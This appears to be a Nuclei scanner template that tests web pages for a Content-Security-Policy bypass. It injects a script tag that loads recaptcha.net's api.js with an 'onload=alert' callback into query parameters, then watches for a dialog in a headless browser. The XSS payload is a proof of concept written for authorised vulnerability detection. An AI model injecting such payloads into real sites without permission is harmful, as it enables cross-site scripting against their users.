recaptcha-net-csp-bypass: Content-Security-Policy Bypass - reCAPTCHA Net

id: recaptcha-net-csp-bypass

info:
  name: Content-Security-Policy Bypass - reCAPTCHA Net
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,recaptcha-net,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: recaptcha_net_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.recaptcha.net/recaptcha/api.js?onload=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "recaptcha_net_csp_xss == true"
# digest: 490a00463044022053ca6e69bd2a4c76fd21d2db43ebc4083987a9e2f1c3d80f9394cb95fc26baf902200c28b7898d43affb7823b5179cef86b7cbb03073fc127fd6d9f2708f5caeef59:922c64590222798bb761d5b6d8e72950